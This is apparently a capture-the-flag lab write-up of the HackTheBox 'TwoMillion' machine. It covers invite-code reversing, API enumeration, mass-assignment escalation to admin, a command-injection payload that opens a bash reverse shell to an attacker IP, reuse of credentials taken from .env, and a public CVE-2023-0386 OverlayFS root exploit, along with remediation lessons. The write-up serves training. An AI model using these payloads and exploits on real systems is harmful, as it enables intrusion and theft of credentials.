Recon
A nostalgic recreation of the original HTB website, complete with the invite-only registration system. The box celebrates HTB hitting 2 million users. Port 80 redirects to 2million.htb.
$ nmap -sC -sV -oN nmap/initial 10.129.3.50 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http nginx |_http-redirect: http://2million.htb/
$ echo "10.129.3.50 2million.htb" >> /etc/hosts
Enumeration
Invite Code — JavaScript Reversing
The registration page requires an invite code. The page source loads /js/inviteapi.min.js — obfuscated JavaScript. Running it through a beautifier and evaluating it in the console reveals a function makeInviteCode() that calls an API endpoint to get generation instructions.
$ curl -s -X POST http://2million.htb/api/v1/invite/how/to/generate {"data":{"verifiedAt":"...","data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"}} # ROT13 decode: "In order to generate the invite code, make a POST request to /api/v1/invite/generate"
$ curl -s -X POST http://2million.htb/api/v1/invite/generate {"code":"VFhXWkktQVVST0gtUFFSQlQtR0ZNVkI=","format":"encoded"} $ echo "VFhXWkktQVVST0gtUFFSQlQtR0ZNVkI=" | base64 -d TXWZJ-AUROH-PQRBT-GFMVB
Used the invite code to register. After logging in, I enumerated the API routes.
API Route Enumeration
$ curl -s -H "Cookie: PHPSESSID=..." http://2million.htb/api/v1 { "v1": { "user": { "GET /api/v1": "Route List", "POST /api/v1/user/register": "Register a new user", "GET /api/v1/admin/auth": "Check if user is admin", "PUT /api/v1/admin/settings/update": "Update user settings", "POST /api/v1/admin/vpn/generate": "Generate VPN for user" } } }
The route list is accessible to any authenticated user — broken object-level authorization. The admin routes are visible and callable. I checked my admin status then escalated.
Foothold
# escalate to admin via mass assignment $ curl -s -X PUT http://2million.htb/api/v1/admin/settings/update \ -H "Cookie: PHPSESSID=..." \ -H "Content-Type: application/json" \ -d '{"email":"myemail@test.com","is_admin":1}' {"id":13,"username":"myuser","is_admin":1}
Admin flag set. Now I called the VPN generation endpoint with a command injection payload in the username parameter:
$ curl -s -X POST http://2million.htb/api/v1/admin/vpn/generate \
-H "Cookie: PHPSESSID=..." \
-H "Content-Type: application/json" \
-d '{"username":"test;bash -c '\''bash -i >& /dev/tcp/10.10.14.X/4444 0>&1'\'';"}'
connect to [10.10.14.X] from 10.129.3.50 www-data@2million:/var/www/html$ cat .env DB_HOST=127.0.0.1 DB_DATABASE=htb_prod DB_USERNAME=admin DB_PASSWORD=SuperDuperPass123
$ su admin Password: SuperDuperPass123 admin@2million:/var/www/html$
Privilege Escalation
admin@2million:~$ uname -r 5.15.70-051570-generic admin@2million:~$ cat /var/mail/admin From: ch4p@2million.htb Dear admin, I'm sending this to notify you of a new kernel vulnerability that was added to our attack chain. OverlayFS — CVE-2023-0386. Please patch ASAP.
CVE-2023-0386: unprivileged user in a user namespace can copy a SUID binary from a fuse-mounted overlay filesystem to a regular overlay mount, preserving the SUID bit without being root. The exploit (xkaneiki/CVE-2023-0386 on GitHub) uses a multi-step process with fuse and overlayfs mounts.
admin@2million:/tmp$ git clone https://github.com/xkaneiki/CVE-2023-0386 && cd CVE-2023-0386 admin@2million:/tmp/CVE-2023-0386$ make all admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc & admin@2million:/tmp/CVE-2023-0386$ ./exp uid:1000 gid:1000 [+] mount success [+] exploit success uid:0 gid:0 # id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- API route enumeration (GET /api/v1) should be standard practice — the full route listing being accessible to any authenticated user is a broken object-level authorization finding that exposes admin endpoints.
- Mass assignment (BOLA):
is_admin: 1accepted without server-side role verification lets any user self-escalate to administrator — validate all user-supplied fields against a strict allowlist on the server. .envfiles in web app directories almost always contain database credentials. Alwayscat .envimmediately after getting shell access in a web application context.- System mail (
/var/mail/username) on HTB boxes often contains direct hints about the privesc path — always check it early.
is_admin must be rejected. Store credentials in secrets management, not .env files in the web root. Keep kernels patched — OverlayFS CVEs are a recurring privilege escalation class.